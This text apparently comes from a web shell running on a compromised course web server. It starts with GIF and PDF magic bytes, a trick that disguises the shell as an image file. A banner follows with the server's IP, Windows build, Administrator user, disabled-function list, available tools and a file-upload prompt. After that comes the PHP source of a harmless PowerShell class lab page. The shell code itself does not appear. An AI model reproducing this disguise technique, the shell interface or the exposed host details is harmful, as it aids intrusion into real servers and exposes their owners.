GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1861/Labs/Lab15/ |
Upload File : |
<? // JimMartinson/CST1861/Labs/Lab05/Lab05.phpinc #$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. #require('JimMartinson/DisableLab.phpinc'); $uploadFilename = $saveFilename.'.png'; ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is demonstrate using many objects with Powershell. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.</li> <li>Download <a href="file1.html">file1.html</a> and save it in your <b><?=$evaluationName?></b> folder..</li> <li>Download <a href="file1.json">file1.json</a> and save it in your <b><?=$evaluationName?></b> folder..</li> <li>Download <a href="file1.txt">file1.txt</a> and save it in your <b><?=$evaluationName?></b> folder..</li> <li>Write a Powershell command that will display the file name and contents of those three files.</li> <li>Run your Powershell command. <br><ins title="Added 11/3/2022">Ensure the Powershell command and output is visible in your Powershell window.</ins> <br>Take a screenshot of the Powershell window and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot'); ?><br> <img src="images/screenshot.png" width="1000" height="433" alt="Powershell 7 window"> <? showEnd (); ?> </li> <li>Turn in your assignment: <ol type="a"> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>